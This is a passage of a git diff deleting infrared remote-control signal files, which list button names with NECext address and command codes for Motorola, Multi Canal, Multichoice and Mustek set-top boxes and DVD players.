KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: FB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir deleted file mode 100644 index 61ec5a0c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: bypass -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: lock -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: day+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: day- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir deleted file mode 100644 index e924ebe12..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: function-a -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: function-a_triangle -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: ppv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: vod -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: dvr_play -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: dvr_stop -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: dvr_fastforward -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: dvr_rewind -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: dvr_pause -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: pip_on-off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: pip_swap -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: pip_move -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: pip_ch-plus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: pip_ch-minus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: function-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: function-b_square -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: function-c -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: function-c_circle -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: dvr_record -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: arrow_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: arrow_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: arrow_left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: arrow_right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: day_plus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: day_minus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: dvr_replay -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: dvr_list -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: dvr_livetv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir deleted file mode 100644 index b89dd14cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir +++ /dev/null @@ -1,434 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_1_symbols -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_2_abc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_3_def -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_4_ghi -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_5_jkl -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_6_mno -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_7_pqrs -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_8_tuv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_9_wxyz -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: input_a-v -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: heart -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: heart_favorites -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: function-a -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: function-a_yellow_triangle -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: star_ondemand -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: dvr_play -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: dvr_stop -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: dvr_fastforward -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: dvr_rewind -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: dvr_pause -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: change -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: function-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: function-b_blue_square -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: function-c -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: function-c_red_circle -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: function-d -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: function-d_green_diamond -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: dvr_record -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: arrow_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: arrow_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: arrow_left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: arrow_right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: dvr_previous -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: dvr -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: fiostv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: dvr_next -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: pound -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: pound_aspect -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: plus_widgets -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: widgets -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_KPASTERISK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: asterisk_cc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir deleted file mode 100644 index 737aba628..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 09 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 0F 00 00 00 -# -name: CHPG+ -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 20 00 00 00 -# -name: CHPG- -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 21 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 37 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 38 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 39 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 44 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 4C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 4D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 54 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 5C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 83 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 86 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 9E 00 00 00 -# -name: TVVIDEO -type: parsed -protocol: NECext -address: 23 40 00 00 -command: A8 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 23 40 00 00 -command: CC 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 23 40 00 00 -command: E1 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 23 40 00 00 -command: F0 00 00 00 -# -name: gointeractive -type: parsed -protocol: NECext -address: 23 40 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir deleted file mode 100644 index e10eb73cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 84 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 85 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 86 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 87 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 88 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 89 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 8A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 8B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 8D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 8E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 8F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 91 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 92 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 93 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 95 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 96 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 85 7B 00 00 -command: 97 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir deleted file mode 100644 index 812497ffc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 20 00 00 00 -# -name: progdn -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 22 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 24 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 25 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2A 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2C 00 00 00 -# -name: information -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 31 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir deleted file mode 100644 index b052ad1de..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 02 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 